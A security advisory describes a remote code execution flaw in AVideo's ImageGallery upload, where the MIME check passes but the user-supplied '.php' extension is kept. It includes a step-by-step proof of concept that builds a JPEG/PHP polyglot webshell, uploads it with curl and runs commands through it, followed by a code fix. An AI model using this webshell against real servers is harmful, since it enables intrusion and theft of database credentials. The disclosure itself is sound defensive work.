AVideo Vulnerable to Remote Code Execution via MIME/Extension Mismatch in ImageGallery File Upload

Summary

The ImageGallery::saveFile() method validates uploaded file content using finfo MIME type detection but derives the saved filename extension from the user-supplied original filename without an allowlist check. An attacker can upload a polyglot file (valid JPEG magic bytes followed by PHP code) with a .php extension. The MIME check passes, but the file is saved as an executable .php file in a web-accessible directory, achieving Remote Code Execution.

Details

The vulnerability exists in plugin/ImageGallery/ImageGallery.php in the saveFile() method:

// plugin/ImageGallery/ImageGallery.php:80-108
static function saveFile($file, $videos_id)
{
    $allowedMimeTypes = ['image/jpeg', 'image/webp', 'image/gif', 'image/png', 'video/mp4'];
    $directory = self::getImageDir($videos_id);

    // MIME check on file CONTENT — bypassable with polyglot
    $finfo = new finfo(FILEINFO_MIME_TYPE);
    $fileType = $finfo->file($file['tmp_name']);

    if (in_array($fileType, $allowedMimeTypes)) {
        // Extension from attacker-controlled filename — NO allowlist
        $extension = strtolower(pathinfo($file['name'], PATHINFO_EXTENSION));
        do {
            $newFilename = uniqid() . '.' . $extension;
            $newFilePath = $directory . $newFilename;
        } while (file_exists($newFilePath));

        move_uploaded_file($file['tmp_name'], $newFilePath);
        // ...
    }
}

Root cause: Line 93 extracts the extension from the user-supplied $file['name'] and uses it directly in the saved filename. There is no check against an allowlist of safe extensions (e.g., jpg, png, gif, webp, mp4).

Why the MIME check is insufficient: PHP's finfo with FILEINFO_MIME_TYPE inspects file content magic bytes. A file starting with JPEG magic bytes (\xff\xd8\xff\xe0) is identified as image/jpeg regardless of trailing content. Appending PHP code after the JPEG header creates a polyglot that passes the MIME check but executes as PHP when requested via the web server.

Why no server-level protection exists: The root .htaccess at line 73 blocks dangerous extensions but uses the pattern php[a-z0-9]+ — which matches .php5, .phtml, .phar, etc., but intentionally does not match plain .php (since the application itself requires PHP execution). There is no .htaccess in the videos/ directory to disable PHP execution in the upload target.

Upload path: Files are saved to videos/{videoFilename}/ImageGallery/{uniqid}.php — directly accessible via the web server.

The upload endpoint at plugin/ImageGallery/upload.json.php requires:

1. The ImageGallery plugin to be enabled (line 6-8)
2. An authenticated user (line 10-12)
3. The user must have manage permission on the video (line 18-20) — video owner or admin

The response at line 27 calls listFiles() which returns the full URL of each uploaded file, giving the attacker the exact path to their webshell.

PoC

Prerequisites: Authenticated AVideo user account that owns at least one Image or Gallery type video.

Step 1: Create a polyglot PHP/JPEG file

printf '\xff\xd8\xff\xe0\x00\x10JFIF' > shell.php
echo '<?php if(isset($_GET["c"])){system($_GET["c"]);} ?>' >> shell.php

Step 2: Verify it passes finfo detection

file --mime-type shell.php
# Expected output: shell.php: image/jpeg

Step 3: Upload via ImageGallery endpoint

curl -b 'PHPSESSID=<session_cookie>' \
  -F "upl=@shell.php;filename=shell.php" \
  'https://target/plugin/ImageGallery/upload.json.php?videos_id=<VIDEO_ID>'

Expected response:

{
  "videos_id": "123",
  "saveFile": true,
  "error": false,
  "list": [
    {
      "base": "67890abcdef12.php",
      "type": "image/jpeg",
      "url": "https://target/videos/video_filename/ImageGallery/67890abcdef12.php"
    }
  ]
}

Step 4: Execute the webshell

curl 'https://target/videos/video_filename/ImageGallery/67890abcdef12.php?c=id'
# Expected output: uid=33(www-data) gid=33(www-data) groups=33(www-data)

Impact

An authenticated user with edit permission on any Image/Gallery video can achieve Remote Code Execution as the web server user. This allows:

• Reading sensitive configuration files (database credentials in videos/configuration.php)
• Full database access via the database credentials
• Reading/modifying/deleting any file accessible to the web server process
• Lateral movement within the server's network
• Potential privilege escalation depending on server configuration

Any AVideo instance with the ImageGallery plugin enabled and user registration open is vulnerable. Since regular (non-admin) users can exploit this against their own videos, the barrier to exploitation is low.

Recommended Fix

Add an extension allowlist check in saveFile() immediately after extracting the extension. The extension should be validated against the same set of types as the MIME allowlist:

// plugin/ImageGallery/ImageGallery.php — in saveFile(), after line 93
static function saveFile($file, $videos_id)
{
    $allowedMimeTypes = ['image/jpeg', 'image/webp', 'image/gif', 'image/png', 'video/mp4'];
+   $allowedExtensions = ['jpg', 'jpeg', 'webp', 'gif', 'png', 'mp4'];

    $directory = self::getImageDir($videos_id);

    $finfo = new finfo(FILEINFO_MIME_TYPE);
    $fileType = $finfo->file($file['tmp_name']);

    if (in_array($fileType, $allowedMimeTypes)) {
        $extension = strtolower(pathinfo($file['name'], PATHINFO_EXTENSION));
+       if (!in_array($extension, $allowedExtensions)) {
+           return false;
+       }
        do {
            $newFilename = uniqid() . '.' . $extension;

Additionally, as defense-in-depth, add a .htaccess file to the videos/ directory to disable PHP execution:

# videos/.htaccess
php_flag engine off
<FilesMatch "\.php$">
    Require all denied
</FilesMatch>